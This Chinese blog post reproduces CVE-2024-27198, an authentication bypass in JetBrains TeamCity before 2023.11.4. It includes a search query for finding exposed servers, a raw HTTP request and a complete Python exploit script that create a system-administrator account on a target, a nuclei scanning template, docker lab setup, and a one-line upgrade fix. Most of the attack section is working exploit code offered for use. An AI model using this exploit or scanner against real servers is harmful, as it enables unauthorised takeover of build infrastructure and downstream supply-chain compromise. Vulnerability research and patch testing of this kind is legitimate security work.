CVE-2024-27198漏洞复现(POC)
CVE-2024-27198漏洞复现(POC)
原创 fgz AI与网安 2024-03-08 07:01
免
责
申
明
:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
TeamCity 2023.11.3 及以下版本存在身份验证绕过漏洞
02
—
漏洞影响
JetBrains TeamCity < 2023.11.4版本
03
—
漏洞描述
JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。它提供了一个功能强大的平台,用于自动化构建、
测试和部署软件项目。
TeamCity旨在简化团队协作和软件交付流程,提高开发团队的效率和产品质量。
JetBrains TeamCity在2023.11.4版本之前存在认证绕过漏洞,允许执行管理员操作。攻击者可以利用该漏洞绕过认证机制,直接执行管理员操作,可能导致系统受到未授权访问和恶意操作的威胁。
04
—
FOFA搜索语句
body="Log in to TeamCity"
05
—
靶场搭建
docker安装
拉取镜像
docker pull jetbrains/teamcity-server:2023.11.3
启动容器
docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
然后访问
http://localhost:8111
06
—
漏洞复现
POC数据包如下
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
{"username": "用户名", "password": "密码", "email": "[email protected]", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
执行poc会创建管理员账户,请在靶场操作。
07
—
批量扫描poc
如果直接使用上面的数据包,实际上已经是一种入侵行为,尝试通过判断版本号来扫描漏洞。各位看官有更好的办法记得私信我。
nuclei poc文件内容如下
id: CVE-2024-27198
info:
name: TeamCity 2023.11.3 及以下版本存在身份验证绕过漏洞
author: fgz
severity: critical
description: JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。它提供了一个功能强大的平台,用于自动化构建、测试和部署软件项目。TeamCity旨在简化团队协作和软件交付流程,提高开发团队的效率和产品质量。JetBrains TeamCity在2023.11.4版本之前存在认证绕过漏洞,允许执行管理员操作。攻击者可以利用该漏洞绕过认证机制,直接执行管理员操作,可能导致系统受到未授权访问和恶意操作的威胁。
metadata:
max-request: 1
fofa-query: body="Log in to TeamCity"
verified: true
requests:
- method: GET
path:
- "{{RootURL}}/login.html"
extractors:
- type: regex # type of the extractor
name: version_
part: body
# internal: true
group: 1
regex:
- '<span class="vWord">Version</span>(.+?)</span>'
matchers:
- type: dsl
dsl:
- "status_code == 200 && version_ < '2023.11.4'"
运行POC
nuclei.exe -t mypoc/cve/CVE-2024-27198.yaml -l 1.txt
08
—
漏洞利用
github上发现个现成的用python写的EXP,
EXP放到工具包中了,文末获取
import requests
import urllib3
import argparse
import re
urllib3.disable_warnings()
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target",required=True, help="Target TeamCity Server URL")
parser.add_argument("-u", "--username", required=True,help="Insert username for the new user")
parser.add_argument("-p", "--password",required=True, help="Insert password for the new user")
args = parser.parse_args()
vulnerable_endpoint = "/pwned?jsp=/app/rest/users;.jsp" # Attacker’s path to exploit CVE-2024-27198, please refer to the Rapid7's blogpost for more information
def check_version():
response = requests.get(args.target+"/login.html", verify=False)
repattern = r'<span class="vWord">Version</span>(.+?)</span>' # Regex pattern to extract the TeamCity version number
try:
version = re.findall(repattern, response.text)[0]
print("[+] Version Found:", version)
except:
print("[-] Version not found")
def exploit():
response = requests.get(args.target+vulnerable_endpoint, verify=False, timeout=10)
http_code = response.status_code
if http_code == 200:
print("[+] Server vulnerable, returning HTTP", http_code) # HTTP 200 Status code is needed to confirm if the TeamCity Server is vulnerable to the auth bypass vuln
create_user = {
"username": args.username,
"password": args.password,
"email": f"{args.username}@mydomain.com",
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}, # Given admin permissions to your new user, basically you can have complete control of this TeamCity Server
}
headers = {"Content-Type": "application/json"}
create_user = requests.post(args.target+vulnerable_endpoint, json=create_user, headers=headers, verify=False) # POST request to create the new user with admin privileges
if create_user.status_code == 200:
print("[+] New user", args.username, "created succesfully! Go to", args.target+"/login.html to login with your new credentials :)")
else:
print("[-] Error while creating new user")
else:
print("[-] Probable not vulnerable, returning HTTP", http_code)
check_version()
exploit()
复制代码到
CVE-
2024
–
27198
.py文件,然后执行创建账号。-t指定目标,-u指定用户名,-p指定密码
python CVE-2024-27198.py -t http://localhost:8111 -u mynewadminuser -p mypassword
09
—
修复建议
升级到2023.11.4及以上版本。
10
—
新粉丝福利领取
在公众号主页或者文章末尾点击发送消息免费领取。
发送【
电子书】关键字获取电子书
发送【
POC】关键字获取POC
发送【
工具】获取渗透工具包